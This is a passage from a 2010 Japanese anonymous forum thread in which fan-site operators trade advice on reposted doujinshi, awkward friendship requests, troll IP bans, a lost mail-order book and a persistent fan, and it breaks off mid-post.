855 ：スペースNo.な-74：2010/01/18(月) 17:26:04

たまに○○って曲を聴いてたら浮かびましたって作品を
アップしてる人もいるけどほとんどは曲名とかアーティストとか
載せて「良かったら聴いてね」くらいだったな
その曲はその曲、自分の作品は作品、としっかり割り切ってないと
その曲を作った人やその曲のファンの人にも悪いんじゃない？

856 ：スペースNo.な-74：2010/01/18(月) 17:57:17

ああ、でもあんまり熱く語ってたらインディーズなのに
三人くらいCD買ってくれた人がいて
嬉しかったこともあった

857 ：スペースNo.な-74：2010/01/18(月) 18:05:22

最近は幸によってはにこつべ誘導したら登録削除ってところもあるしね～

858 ：スペースNo.な-74：2010/01/18(月) 18:22:53

ぶっちゃけ読む側にしてみると
公式でもない曲のイメージや世界観に助けられてる作品って
かなり微妙

859 ：スペースNo.な-74：2010/01/18(月) 19:25:59

書き手はこれしかない、ぴったり～☆と思い込んでいても、
別カプや別ジャンルで山と使用されていることもあるしな

860 ：スペースNo.な-74：2010/01/18(月) 19:31:34

プロのでもアマのでも
「転載可」ってちゃんと文章で正式に明記されてない限り
違法うｐにはかわりないから
そこ誘導するのはだめだと思うよ
曲名や、マイナーならその公式アドレスとか教えてあげればいいんじゃないかね

861 ：スペースNo.な-74：2010/01/18(月) 19:47:54

めが冷めた頭が冷えたと言ってるのにまだフルボッコが続くのかｗ
追い討ちかけるの好きだね皆

>>857
自ジャンル総合大手幸は違法でない動画、著作的に問題ない自分で製作したものだろうが
違法かどうかいちいち確認するのが手間がかかると言う理由で
つべでもニコでもリンクしたら幸から登録削除だった

862 ：スペースNo.な-74：2010/01/18(月) 20:19:39

そういや一時期
夢で会えるだけでよかったのに、君に愛されたいと願ってしまった。
とか歌詞まんま並べてるだけの小説って名のついたポエムが
ジャンル問わずいたるところで増殖してたね
歌がなきゃ完成しないってならアレ系の物なのかも知れない

863 ：スペースNo.な-74：2010/01/18(月) 20:24:58

もう〆てね？

864 ：スペースNo.な-74：2010/01/18(月) 21:45:28

昔の同人漫画は話の最後に歌詞を持ってくるのが流行ってた事をふと思い出した

865 ：スペースNo.な-74：2010/01/18(月) 22:22:14

>>864
やめてくれ黒歴史の扉が開くじゃないか

866 ：スペースNo.な-74：2010/01/18(月) 23:00:59

2番もあるんだぜ

867 ：スペースNo.な-74：2010/01/18(月) 23:13:00

やめて私のライフがゼロよ

868 ：スペースNo.な-74：2010/01/19(火) 16:34:04

25動に関する相談。
この前拍手で『25観てますか？』っていう質問がきた。
普通に観てますって答えたらいいのかもしれんが、25嫌悪してる人が多いと聞くし、中には25観てるという事で凸されたって人もみたことあるからどうレスしようか困ってる。
自サイトでは25に関する話題は出してないんだけど、
25で流行ってるネタ(あべさんとか有名なもの)を使って漫画書いてたりするから、今さら観てないって答えるのもどうかなとも思うし。
こういう質問にはどう返すのが良いかな？
観てないと言っておいたほうが無難？

869 ：スペースNo.な-74：2010/01/19(火) 16:41:50

>>866
影人おつ！

870 ：スペースNo.な-74：2010/01/19(火) 16:51:41

>>868
「たまに見ますよ」でいいんじゃないの。
自分が聞かれた時はそう答えたな。
実際、公式で流してるのとかを見る位だったんだけど。
見てないって嘘言って、バレたら余計面倒かなと思って。

871 ：スペースNo.な-74：2010/01/19(火) 16:57:56

>>868
25ネタで書いているならば認めた方がいいと思うよ
でないと25の流行ネタで書いているのに自作扱いしているでやっかいなのを呼びそうだから
凸の可能性で悩むならあまり25ネタは使わない方がいいかもしれない

872 ：スペースNo.な-74：2010/01/19(火) 17:04:55

>>868
そんな質問をしてくるということは、相手も25を見てるということ
ネタが25がらみって理解はできるのに見てない、25許さんという奴は失笑ものだろう

ただ拍手レスで人目につくのは嫌なら、25という単語は出さずにレスすればいいと思うよ

873 ：スペースNo.な-74：2010/01/19(火) 17:40:39

>>868だけどレスありがとう。参考になった。

＞ネタが25がらみって理解はできるのに見てない、25許さんという奴
でもこういう人って結構多い気がするんだが。

874 ：スペースNo.な-74：2010/01/19(火) 17:49:13

>871に全文同意
特に
>凸の可能性で悩むならあまり25ネタは使わない方がいいかもしれない

ただ、どんな動画を見てるかは言う必要ないと思う

875 ：スペースNo.な-74：2010/01/19(火) 18:42:40

25アンチの凸ばかりが言われてるけど、逆の可能性もあるよ。
見てるというと「じゃあこれオススメです！見て！」って
大量のURLを送りつけてくるやつ。
更に「これのイメージでリクお願い！！」とか。
そういう輩の来る可能性も考えると、やっぱ動画サイト関係って
あんまりサイトで触らない方がいいのかもね。

876 ：スペースNo.な-74：2010/01/19(火) 19:05:28

25で見たとは言いたくない（アレ一応垢必要だし）、でもそのネタは知ってる、だったら
ようつべに転載したのをたまたま見て…的な言い訳もできないことはないな
25ネタは大概ようつべにも転載されてるから、なんかの検索で引っかかって…的な

877 ：スペースNo.な-74：2010/01/19(火) 19:11:35

「２５見てます」で違反者！って言ってくる人間は自己紹介乙、
オススメしてくる人間はのらりくらりと交わせばいいんじゃないか？

878 ：スペースNo.な-74：2010/01/19(火) 20:46:07

25見てるんですか？って聞かれたら
25に詳しいんですか？私は時々見るぐらいで・・・って返してやれ

879 ：スペースNo.な-74：2010/01/19(火) 21:12:42

ウホッでアーッを知ってるからって25知らない人がいないわけじゃないんだから
知らないっていえないという考えがまず理解できない。
違反者ﾌﾟｷﾞｬﾌﾟｷﾞｬ言う相手ならアク禁すればよし、後は事実のみ素直に答えれば？

25にしかないようなネタなら25を知らないとはいえないってのはわかるが。

880 ：スペースNo.な-74：2010/01/19(火) 21:22:48

○アッー！
×アーッ！

881 ：スペースNo.な-74：2010/01/19(火) 21:23:29

困ってるのは困ってるんですけど少し皆さんのご意見を聞きたいので
宜しくお願いします。

実は自分は文字書きで挿絵や表紙は依頼した絵師さんに毎回頼んでます。
まだ納期的には問題ないけど頼んでいた絵のことでメールしたけど
返事がきません（いつもは大体２，３日で来る）
今日で２週間ぐらいなんだけど催促早すぎですか？

882 ：スペースNo.な-74：2010/01/19(火) 21:23:57

あべさんってうほっいい男のあべさんかー
べつに25発祥ではないから（２ちゃん発祥な気がするけど）
見てないって言ってもいいと思う

883 ：スペースNo.な-74：2010/01/19(火) 21:26:14

>>881
絵師さんが2月前半のオンリー出場なら今修羅場中（擬人化等）
返事がないと困るメールであれば、YESNOだけでいいから×日までに
教えてとかはっきり書いて再送した方がいいと思う

884 ：スペースNo.な-74：2010/01/19(火) 21:35:50

>>881
確認や問い合わせ的なメールなら、２週間も返事が無いのは遅すぎる。
いつも２、３日で返信してくれる人なら今回だけこんなに遅いのは変だし
メールが届かなかった可能性があるから、それの確認の意味でも
問い合わせてみた方がいいと思う（催促じゃなくて）

885 ：スペースNo.な-74：2010/01/19(火) 21:42:30

>882
しかしネタにするほど気に入ったなら
他の動画を探したりネタ元調べたりするんじゃないかな
そうすれば2chや25で大人気なことはすぐ調べがつくと思うんだけど
まあ25つべ見てないけど2ch見てるって知られても構わない人ならどうでもいいか・・・

>881
いつもと違う反応だったら心配して当たり前
もし相手に届いていて返事が出せない状況だったとしても
わかってくれると思うから問い合わせしてもいいと思う

886 ：スペースNo.な-74：2010/01/19(火) 22:45:25

>アベさんとか有名なもの
だからアベさん以外にも色々あるんじゃないの？

887 ：スペースNo.な-74：2010/01/19(火) 23:04:33

881です

その方は同人活動は今控えてるのでサイトもないんです。
とりあえず迷惑メールとかにされてるかもしれないのでミクシーの方で
メッセージ送りました。
でもこれでもスルーだったら何か怒ってるってことですよね…
うーん、年越しまでは普通にメールやりとりしてたんですがorz

レスくださった方々有難うございました！

888 ：スペースNo.な-74：2010/01/19(火) 23:17:48

あのな、メールに返信しない状況は怒ってる以外にも
病気とか仕事とか家族に何かあってとか色々あるんだぞ

あいてが怒るような状況作ってる自覚があるならあきらめろ

889 ：スペースNo.な-74：2010/01/19(火) 23:22:21

>>888
レス有難うございます。
年末までは本当に仲良いメールでしたので怒らしている自覚はないです。
家族、仕事、わかります。ただ何か安否まで心配になってきてしまって…

890 ：スペースNo.な-74：2010/01/19(火) 23:23:12

＞その方は同人活動は今控えてるのでサイトもないんです。

そういう大事なことを後だしするなよ・・・。
888の言うように、ネット自体を見てない可能性もあるね。
用件を再送するのは構わないけど、返事がこなくても邪推しないように。
絵の納期間際になったらネットに戻ってきてくれるかもしれないしさ。

891 ：スペースNo.な-74：2010/01/20(水) 07:21:38

自分前に絵師に逃げられたことあるわｗ
邪推するなってもそれは無理なんじゃ

892 ：スペースNo.な-74：2010/01/21(木) 19:59:36

>882
発祥はふたば

893 ： ◆XUrGqamLH. ：2010/01/22(金) 01:12:40

相談お願いします。
二次創作サイト持ちで、オフ活動もしています。
今まで幸いなことにマイナーカプというのもあり、サイト画像等の無断転載はありませんでした。
ところが先日、リンクを張ってくれている海外ブログが、当サークルの同人誌（完売済み）を
全スキャンしてうｐしているのを偶然見つけてしまいました。
パスワードがついていて、パスワードのヒントが翻訳サイトを通じてでは上手く訳せなかったので
中身の確認はできなかったのですが、表紙・サークル名・ＣＰ等間違いはありませんでした。

無断転載禁止のバナーを貼りたいと思ったのですが、探した限りでは「サイト内の画像」に対する
ものばかりで、同人誌の無断転載禁止というのは見つけられず困っています。
どなたかお知恵をお貸し下さい。

それと、もう一つ困っている理由が件の海外ブログというのがタイ語なのです。
英語ならまだ…と思ったんですがタイ語はちんぷんかんぷんでしてorz

894 ：スペースNo.な-74：2010/01/22(金) 02:12:33

895 ：スペースNo.な-74：2010/01/22(金) 05:11:53

>894
英語じゃだめなん？

896 ：スペースNo.な-74：2010/01/22(金) 06:07:42

・英語でやめてくれと訴える。
自サイトでのバナーなり、書き込めるならそのブログになり、ブログ運営元に事情説明メルするなり。
その際の英語は短文で簡単な言葉を使って。相手が翻訳にかけても伝わるように。
英語は一応共通語として通るし、自分が全く分からない言葉で伝えようとするよりましだと思う。
・日本語でやめてくれと訴える。
現地購入じゃなければ、本人or身近に日本在、または奥で購入できる程度の日本語が
出来る人がいるのかもしれない。その際使う日本語は短文で簡単なものを。
文章を自サイトにうｐするかどうかは、影響や状況を893が判断して決めて。

転載禁止はいくら頑張って訴えても華麗にスルーされる可能性が高いよ。
でもリンクを貼ってくれてるし、悪気は無くて言ったらやめてくれるかもしれない。

897 ：スペースNo.な-74：2010/01/22(金) 10:39:50

>>893
海外相手だと、遠回しな言い方やぼかすことはせず
とにかくやめてくれ不快だ絶対嫌だということを主張しないと駄目だと思う
主張しない=何されても文句は無いというくらいに思っておいた方がいいかも

898 ：スペースNo.な-74：2010/01/22(金) 14:26:15

日本人以外には基本的に遠慮は美徳と思われてないよな
むしろまともに主張できない奴pgr

899 ：スペースNo.な-74：2010/01/22(金) 17:14:38

ちょっと相談。
友達募集してますなんて書いてないのに『友達になって下さい』系のコメがくる。

前サイトで『友達になって下さい』って拍手コメ貰った時にノリで『是非なって下さい！』って返したら、後日
『友達になったから本アド教えるね☆お互い日常の事とか報告しあいましょう！管理人さんも本アド教えて♪』ってメールがきた。
拍手でよくある『管理人さんとお友達になりたいです！』→『わわ…是非なりましょう！』で終わるパターンだと思って適当におkしたのに、まさかこうくるとは思わなかった。
でも『申し訳ございませんが友達は募集してません』ってレスするのも高尚乙って思われそうだしなぁ。
こういうコメってどうレスしたらうまく交わせるんだろうか？

900 ：スペースNo.な-74：2010/01/22(金) 17:52:41

>>899
そんなのにはレスしない。

901 ：スペースNo.な-74：2010/01/22(金) 17:54:17

>>899
一時期自分もお友達になってコメいっぱい来た事あったけど
「遅筆なのでサイトでゆっくり交流しか出来ませんけど仲良くして下さい」とか返してた。
あまりにもしつこい人には最終手段の拍手の調子が(ryで。

基本　お友達になって下さい！→　なりましょう！　とは返してなくて
仲良くしてくれると嬉しいですとかもう一生懸命ぼかしてコメ返してたけど段々疲れて
お友達コメは一切合財スルーするようになってしまったｗｗ
というかそもそも友達って突然なって下さい！って押しかけの様にしてなるもんじゃないと思うんだけどね…

902 ：スペースNo.な-74：2010/01/22(金) 18:41:33

「友だちって日常生活のことだったんですか～！
萌え友だと思ってましたよ。うちは同人サイトですから。
プライベートなお話をする友だちは、同人サイトでは募集してませんので
ご期待には添えません。メールアドレスは破棄しておきますので、
リアルでいいお友だち見つけてくださいね～！」

とレスして終了、でいいんじゃない。

903 ：スペースNo.な-74：2010/01/22(金) 22:15:05

１ヶ月ほど前になんというか慇懃無礼で不快な拍手をもらって
とりあえず返信せずスルーしてIPアドレスを様子見してたんだけど
毎日のように何度もアクセスしてきてて
リファラから察するにその都度当サイトを検索しているようです

最初に慇懃無礼と書きましたが言葉遣いは丁寧でしたので
ただ無意識に失礼なこと言う残念な人かとも思ったものの
１ヶ月日参してるくせにブクマもしないというのは
わざとあてこすりコメをしてこちらの反応を楽しもうとしてるようで気味悪いです

そこで相談なのですが明確な荒らしコメでなくても
灰汁禁はよくあることでしょうか？
その際逆上して暴れられたことなどありますか？
IPもしばらくすれば変わるし別環境なら普通にアクセスできますし少し不安です。
他の管理人の方々はどうしてるのか参考にお聞きしたいです。

904 ：スペースNo.な-74：2010/01/22(金) 22:20:35

>>903
灰汁禁の403エラーページを「閉鎖しました、今までありがとうございました」にしている

905 ：スペースNo.な-74：2010/01/22(金) 22:31:17

>903はサイト運営に向いてないよ

906 ：スペースNo.な-74：2010/01/22(金) 22:40:04

どんなコメだったのか分からないからそこは触れないけど
サーチやどこかのサイトのリンク集をブクマ変わりに使ってる場合は
「１ヶ月日参してるくせにブクマもしない」
これはごく普通に起こるのでそれで悪意だと決めつけるのはどうだろ

907 ：スペースNo.な-74：2010/01/22(金) 22:40:53

>>903
「自分はどうしたらいいか」ではなく「他の方のやり方を参考までに」だったら
ここじゃなくて管雑に行った方がいい。

管理人専用総合雑談スレ70.5
http://changi.2ch.net/test/read.cgi/doujin/1262732432/

908 ：スペースNo.な-74：2010/01/22(金) 23:57:26

家族共有なのでブクマできないのかも知れないのにな
まあ、それ以外のところでイライラしているんだろうけど

909 ：スペースNo.な-74：2010/01/23(土) 00:06:38

>>903です

>>907
スレ違い失礼しました
誘導感謝です

>>904
ありがとうございます
あからさまな灰汁禁にしなければ多少角が取れますね
普通にそうしようかと思います

>>906
毎回ググって来てたようなので検索サイトからのアクセスを弾いたら
サイト名検索でその時の上位結果のサイトから来る様になりました
別に他の人がどこから毎日通おうと気にならないのですが
コメ内容は一見さんの冷やかしや煽りみたいなものでしたので
いろいろ勘ぐってしまいました

910 ：スペースNo.な-74：2010/01/23(土) 01:17:52

んー
まあ管雑行くにしてもスレの空気読めるようになってからの方がいいぞー
ボッコにされない為にも

911 ：スペースNo.な-74：2010/01/23(土) 03:50:42

ですます口調でも内容自体は荒らし、自称ジャンル（取り扱いカプ）ファンで
検索サイト経由大好きな荒らしなら１ヶ月近く前に遭遇したから気になるなあ

912 ：スペースNo.な-74：2010/01/23(土) 21:45:50

ここスレ違いじゃなければいいんだけど…

相談です。
あるサイトさんで、本をメール便で自家通販してもらいました。
ところが、発送しましたよ、というメールがきてから２週間たっても届かないので、
「配送状況はここで問い合わせて下さい」と教えてくれていた受付番号で調べると、
管理人さんからの発送通知メールの２日後にすでにお届けしましたとのこと。
最寄りの配送センターに問い合わせても、確かにポストに投函しましたと言われるだけで…

考えられるのは誰かがポストから盗んでいったとかそれくらいですが、
管理人さんにどう連絡したらいいでしょうか。
本が届いたら是非感想を送ろうと思っていたのですが、不測の事態に大変困っています。

何か失礼のない方法はないか、知恵をお貸し下さい。

913 ：スペースNo.な-74：2010/01/23(土) 21:52:24

サイトさんには非がないことだというのは分かっているので
もう一度事情を説明して
通販をお願いするしかないんじゃないかな

914 ：スペースNo.な-74：2010/01/23(土) 21:58:22

>>912
自分なら「こっちの手落ちで本を受け取れなかったので再度通販します」と添えて
一回通販する。
配達人が捨てて配達済にしている可能性もあるけど、ポストから抜かれたのなら
主催側でなく通販側の手落ちなわけだから、どう連絡といわれても、相手側も
困るんじゃないだろうか。

915 ：スペースNo.な-74：2010/01/23(土) 22:04:44

>>912
メール便は保証なしだからなあ。
多分管理人さんに言っても、管理人負担で本を再送するしかないと思う。
同人じゃないけど、以前通販した古本なくされて
その時もコールセンターだか事務のお姉さんは
「配達員に確認いたしましたところ配達はちゃんと行ったそうです」
としか言ってくれなかった。なので、
・配達したという日には在宅していたが配達されたような気配はなかった
・郵便受けも普通の大きさのものなので、けっして冊子がはいらない大きさではない
・盗難防止のため鍵もかけている（嘘）
と伝えて粘りまくったらもう一度配達員に確認するから折り返し電話すると言われた。

結局、配達間違いだったらしい。
本当に別の住所に届けられていたのか、届けるのを忘れて配達処理だけしたのかは知らん。
ちなみに配達されたという日から３日経過した後だった。

916 ：スペースNo.な-74：2010/01/23(土) 22:19:27

届いた後の事だしサークル側に弁償の義務はないと思う
メール便は送料が安いからこういうことも起こりうるよね
でも本人がいる時間に配達してくれるサービスは高額になるしね
気の毒だけど>>914しかないような…
同名で直後に無言で申し込んで転売ヤーと思われても困るしなあ

こういうのって配送会社に
届いていないって事をもう一度言っといた方がいいのかな
それとも警察か
>>912にそれをやれとは言わないけどこのご時勢的にちょっと気になる

917 ：スペースNo.な-74：2010/01/23(土) 22:22:21

>>912
もう一度通販させて下さいと言う
自分も以前メール便が届かないことはあったけど仕方ないと諦めてもう１回お願いした
事故ったら困る物はメール便以外で送れないか通販の時に相談している

918 ：スペースNo.な-74：2010/01/23(土) 22:31:03

>>914が良いと思う
何も言わずにもう一回通販だと不審に思われるだろうし、
かと言って届いたものを盗まれたかも～云々と詳細書かれても
あんまり気分の良いものじゃないしね
受け取れなかった事と、こちら側の落ち度である事を伝えれば十分だと思う

919 ：スペースNo.な-74：2010/01/23(土) 22:52:28

>>914しかないと思うけど、>>915みたいな感じで
もう一度配送会社に問い合わせした方がいい。
Ｋに通報するので、協力願いますくらいのプレッシャーかけないと
会社も動いてくれなさそうだけど。

メール便は配送員が自宅に溜め込む率高いらしいから
会社の方で再度厳しく確認してもらったら、ビビってこっそり
配送しにくる、かもしれない。

920 ：912：2010/01/23(土) 23:04:49

皆さんありがとうございます。
>>914さんの書き方で、もう一度通販をお願いしようと思います。

どうもありがとうございました。

921 ：スペースNo.な-74：2010/01/25(月) 02:40:42

自己中な相談ですが、よろしくお願いします。

時々、丁寧な感想や萌え語りや送ってくれるAさんから
「お友達になってください（要約）」というコメントが来ました。
すごく嬉しくて「こちらこそ！」と返信したのですが、
そしたらBさんという人から「私とも友達になってください＾＾ｗｗｗ←（ぁ」という※が…。
このBさんと、サイトに日参してくださっているそうで
更新ごとに感想もくれるのですが、どうもアレな人なんです。
以前にブログのアドレスが送られてきたんですが、見てみたら
画像の無断転載、ニコでmp3ゲットし放題うめえｗｗｗ、未成年だけどエロ大好き等、
テンプレ的に痛かったのです。

正直、Aさんや他の方とは交流したいけど、
このBさんとはあまり関わりたくありません。
できれば今後、サイトでチャットも開きたいと思っているのですが
Bさんには来て欲しくないです。
（ブログで、「通ってるサイトのチャット行ってきたｗ
A×Bサイトだったけどぶっちゃけ俺はAB嫌いでBC好きなんで、
しつこくBCリクしてきたｗｗｗ＾＾←（迷惑すぎｗｗ」などと書いていたのです…）
Bさんとの交流だけを避ける方法や言い方ってないでしょうか？

922 ：スペースNo.な-74：2010/01/25(月) 02:42:28

すみません、推敲不足で所々変な文になってしまいましたorz
×丁寧な感想や萌え語りや　○丁寧な感想や萌え語りを
×このBさんと、　○このBさんという方、
です。

923 ：スペースNo.な-74：2010/01/25(月) 02:57:00

>>921
絵茶ではそいつにだけレスしない
たのまれ事はやんわり拒否
上ふたつが難しければ極力返事するのを遅くする
「〇月×日までにメールをくださった方すみません！サーバの関係で見れなくなってしまいましたハワワ」
って書いてなかった事にするとか

924 ：スペースNo.な-74：2010/01/25(月) 03:14:15

>>921
IPがわかるならアク禁
（禁止ページをカタマイズできる鯖なら「しばらくお休みします」などにすると平和）
絵茶もアク禁に。

アク禁できない場合は＞923がいいのでは
絵茶に来られても凛とした態度できちんと仕切る覚悟が必要じゃないかな

925 ：スペースNo.な-74：2010/01/25(月) 03:22:29

コメントって拍手？　一行メール？
拍手なら、そんなコメントは来てなかったことにして、忘れる。
ブログのコメントなら、さっくり削除して「あ、すいません、
メンテしたときに多少消えてしまったようです」
で、理湯つけてしばらくコメントできないようにしておく。

チャットは「大人の会話をしたいので、今回18禁です！」で、
来たら「ルールを守れない人は困ります」で蹴り出す。

926 ：スペースNo.な-74：2010/01/25(月) 12:52:54

相談させてください。

自サイトはリンクページ無し。
でもリンクページを作らない予定ではなく、それなりに交流を持った管理人さんとはいつか
相互リンクしたいし、気に入ったサイトがみつかればリンクページをつくる予定です。
そんな中「相互リンク募集してないんですか？よかったら相互してください。」とメールがきた。
で、その人のサイトに行ってみたら日記を読む限りかなり痛い人だという事がわかった。（モテアピ、リアルの下話など）
相互頼まれたのは嬉しかったから、痛い人でなかったら相互はおｋしてたと思う。でもこの人に限っては相互を断りたい。
「リンクページがないから断る」ではリンクページができた時に言い訳できなくなるし、
相互は募集してないわけではないから「相互は募集してない」と返すのも微妙だし。
どう断りメールを返したらいいかな？

927 ：スペースNo.な-74：2010/01/25(月) 13:19:26

>>926
現在相互リンクの募集はしておりません。
今後リンクページを作って相互などする可能性もありますが、その場合は
個人的に親しくしている方や、こちらからお願いして相互させていただいた場合に
限定させていただきたいと思っています。

でいいんじゃないか？
交流を持ってる人とだけ相互っていうのは別に珍しくないし。
もし別の人から相互依頼をされてその人とは相互したいと思った場合でも、
相手からお願いされたその後で926が是非お願いしますとでも返せば嘘を吐いたこと
にはならないと思うよ。

928 ：スペースNo.な-74：2010/01/25(月) 13:30:56

>>926
「相互は募集していない」で良いと思うけどな
リンクしたい相手がいたとして、こっちが気に入ってリンクを張った後
向こうが張り返してくれれば自然と相互リンクになるわけで。もちろん逆も然り。
だから自然と相互なのか初めから相互なのかなんて本人達にしか分からない。

はじめから相互をお願いするのは気が引ける、失礼かも、みたいな風潮も最近あるし
（それが良いか悪いかは別としてね）相互募集してないからお断り、自体は
別に変な断り方ではないよ

929 ：スペースNo.な-74：2010/01/25(月) 13:31:35

普通に「今はリンクページないので・・・」って断ればいいと思う
今後リンクページを作る予定があるとか言うことないんじゃないの
余計に角立つし
じゃあリンクページできたらリンクしてください♪って言ってきたらスルーで

930 ：スペースNo.な-74：2010/01/25(月) 14:28:57

「リンクページは作りません」と回答しておいて、
将来的に作るときは「ブクマページ」と名付ければいい。

931 ：スペースNo.な-74：2010/01/25(月) 16:50:50

一休さんかよ

932 ：スペースNo.な-74：2010/01/25(月) 20:28:15

座布団ほしけりゃもっとうまいこと言えよ

933 ：スペースNo.な-74：2010/01/26(火) 10:44:48

921です。レスありがとうございました！
Bさんからの※は拍手で来ています。
具体的に私に何かされたわけではなくアク禁はしづらいため、
「友達になってください」※は無かったことにします。

チャットでの対応も参考になりました。
基本的に年齢層高めのジャンルなので、
＞「大人の会話をしたいので、今回18禁です！」
これが使えそうです。
悩んでいたので助かりました。ありがとうございました。

934 ：スペースNo.な-74：2010/01/27(水) 20:24:47

ゲームの二次サイトのA×Bカプを扱っています
連絡ツールは拍手のみです

だいぶ前から時々拍手で「C(D、E)×Bでやれ」「A厨乙」「A×Bサイトは閉鎖しろ」
等、荒らしのようなコメントがきたためアク禁したのですが
IPを変えてくるので効果なし
２ではAは不人気のようで、アンチも多く
少し前にもサイトがジャンルスレで晒されてしまいました
さらに「閉鎖するか、カップリングを変えないとまた晒す、日記の内容もコピペして晒す」とコメントがきました

もちろんサイト閉鎖やカプを変えるつもりはありませんが
こういった場合はどう対処したらいいでしょうか

荒らし以外にも励ましや応援のコメントも来るので
できれば拍手は外したくないのです
念のため、リンクページは工事中、晒すとコメントしてきたIPもアク禁(またIPを変えてくると思いますが)
他にする事はあるでしょうか？

935 ：スペースNo.な-74：2010/01/27(水) 20:38:43

>>934
サイトでの対処はそれでいいと思う。基本的には相手にしないこと。

ただ相手のＩＰが手に入ってて、変動してるとはいえ利用プロバイダが共通なら
プロバイダに通報することも考えていいと思う。
荒らし本人には辿り着かないかも知れないが、プロバイダからネカフェに
注意や警告が行けば、荒らしの行動を徐々に制約していけるし。

936 ：スペースNo.な-74：2010/01/27(水) 21:24:05

ネカフェ？

937 ：スペースNo.な-74：2010/01/27(水) 21:36:05

＞アク禁したのですが
＞IPを変えてくるので効果なし
からネカフェを渡り歩いてる、と思ったんじゃね？

938 ：スペースNo.な-74：2010/01/27(水) 22:37:15

>>934
やましいところがないなら堂々としてればいいし、ジャンルスレも見なきゃいいと思うよ
特に変なことも書いてないのなら、私怨乙で終わるし、気にしてるそぶりを見せると余計にヒートアップする
全く反応しないのが一番
IPは変えてもプロバイダが同じなら、同じプロバイダの人には気の毒だが、しばらくプロバイダごと灰汁禁も考えてはどうかな
あまりにひどいなら通報でもいいかと

939 ： ◆C7aKFB8MSA ：2010/01/27(水) 23:29:58

誘導されてきました…相談させてください。
フェイクありです。
当方虹イラストサイト
A→オフ友、同じく虹サイト運営
B→メールの主
自分もAも女性。

最初に来たメールです
「Aさんの所から来ましたBです！
あなたのイラストや文章がとても気に入りました！！！
あの…作品投稿とかってしてないんですか…？」
ん？と思ったが一応作品投稿とかは受け付けてませんよと返信をしました。

その5分後に来たメールが
「そうなんですか…残念です…。
＜以下取り扱いジャンルについての熱い語り＞
ではこれからもよろしくお願いします！」
そしてそれに900KBぐらいある絵が添付されてきました。
いきなり容量の大きい絵を添付するのはやめてくださいとオブラートに包んで返信。

そしてその5分後に
「よく分かってませんでしたすみません…！
では、小説を送りますね！」
というメールが来て、ワード形式で小説が添付されていました。
環境によって見れない人もいる、メールについての注意事項をよく読んでくださいと返信。
その後は反省したようでしばらくは来ませんでしたが、１ヶ月くらい後になってまた送られてきました。

続きます

940 ： ◆C7aKFB8MSA ：2010/01/27(水) 23:36:41

（上の続き）

「サイトを作ろうと思うので作り方教えてください！」
またか…と思いつつタグを説明しているサイトのURLを添えて返信。
その1週間後にまた。
「サイトができました！Aさんには連絡したんですが、相互お願いします！」
その厨はAにも粘着していたらしく、Aにも同じようなメールを送っていたらしいです。
最初より落ち着いていたし、必死に頼み込んでくるので自分もAも断りきれず相互してしまいました。
その後は執拗にオフで会おうとか、挙句の果てにはAに付き合ってくれと言い出す始末…。
自分には普段のAの事をよく聞いてきます。そんなに聞かれても勝手に教えるわけにもいかない…

やんわりと返信し続けたのがかえって災いしたのか、厨には友達認定されているようです。
後で分かったのですがBはセンター間近のリア工男子だったらしいです。
相互を断りきれなかった自分もAも問題でしたが、今は言い方だけは礼儀正しいだけにどうすればいいか分からないんです…

読みづらいかもしれませんが、
良かったらアドバイス貰えると助かります…

941 ：スペースNo.な-74：2010/01/27(水) 23:44:14

なんで律儀に返信しちゃうんだ…

まず２人共彼氏いて男とメールしてるのがバレて大変なので
しばらく返信出来ませんとかしとけば？

942 ：スペースNo.な-74：2010/01/27(水) 23:45:54

迷惑なのでやめて下さい。今後は返信もしません。リンクも剥がします。
で済む事じゃないの？

943 ：スペースNo.な-74：2010/01/27(水) 23:49:37

彼氏とか言わなくても、しばらくメールできませんとかだけでいいのでは
向こうが返信してきそうな内容は送らない方が良いような
メールできません→なんでですか→メールできないので返さない　とか

944 ：スペースNo.な-74：2010/01/27(水) 23:54:52

リンク切って、もう何が来ても一切返事しない
（気になるようだったら開かずゴミ箱行き）
っていうのが一番いいような気がするな。
そこまで相手の気持ち考えることないし、
メールに返事する義務があるわけでもないよ。

しばらく粘着してくるだろうけど気にすんな。
Aがオフ友っていうのが幸いだね。
情報共有したり愚痴り合ったりして、
オンでは何もなかったようにしてればいいよ。

945 ：スペースNo.な-74：2010/01/27(水) 23:56:55

もうメールしないで放置でよくね
相手のこと快く思っていないんでしょ？
放っておけば相手も諦めて受験に専念するか、別のターゲット見つけると思うな

946 ：スペースNo.な-74：2010/01/28(木) 00:07:40

もう返事しないのが一番いいと思うけど、
いきなり切るのは…と思うなら、メール返信を遅らせていっても
いいのではないかと。
リアだと2週間も1ヶ月も返事来なかったら離れていくんじゃないかな。

947 ：スペースNo.な-74：2010/01/28(木) 00:42:38

絵がダメなら小説を送るって、それちゃんと自分で書いたものなのか

948 ：スペースNo.な-74：2010/01/28(木) 00:52:44

「私生活が忙しくなったので少しでもサイトの更新に時間を使いたい」と
返信してその後のメールは放置。
リンクは工事中にして数ヵ月後くらいに
Ａのリンクだけさり気なく削除…とかは？
その際、相互は受付けていないとサイトに表示しておくとか。

949 ：スペースNo.な-74：2010/01/28(木) 02:20:41

その人をアク禁メル無視完全放置すると何かデメリットがあるんか
自分の良心が痛む、ぐらいだったらすぐＣＯでいいのでは？

950 ：スペースNo.な-74：2010/01/28(木) 02:29:45

即断りの返事をするとセンターの結果に響いたとかあったら
後で何か言われるかもしれなくて面倒なので
終わった頃からFOなりCOなり対処したらいいんでは

951 ：スペースNo.な-74：2010/01/28(木) 02:37:40

もうセンター終わったんだからいいんでないのｗ
再試はこれからだっけか

952 ：スペースNo.な-74：2010/01/28(木) 04:04:18

センターの年にそんなくだらない事ばっかりやってる時点で
結果は目に見えてるけどな…

953 ：スペースNo.な-74：2010/01/28(木) 07:49:45

だよね
なにやってんだか…親や先生が泣くよ

954 ：スペースNo.な-74：2010/01/28(木) 09:41:17

950越えてるね。980越えるとdat落ち判定が変わって周知しづらくなるから、
同人板へ戻るなら早めにスレ立てて引っ越ししよう。
こういうスレはIDの出る板がいい。

955 ：スペースNo.な-74：2010/01/28(木) 09:43:18

立てられる人お願いします

956 ：スペースNo.な-74：2010/01/28(木) 11:06:32

ちょっと返答に困っているので相談させて下さい。
当方虹夢サイト。交流ツールは拍手・メールボックスの２つ。相互リンクもない引きこもり仕様。
日記らしい日記もなく、更新時に履歴と拍手返信をしている程度です。

先日更新した小説で、登場人物に「この国はこの国の人のものだ」という旨の台詞を言わせた所、
拍手にて、「（作品の感想等・略）『上気に台詞（略）』に共感しました！管理人様なら理解していただけると思います！
是非サイトでも宣伝してください！」
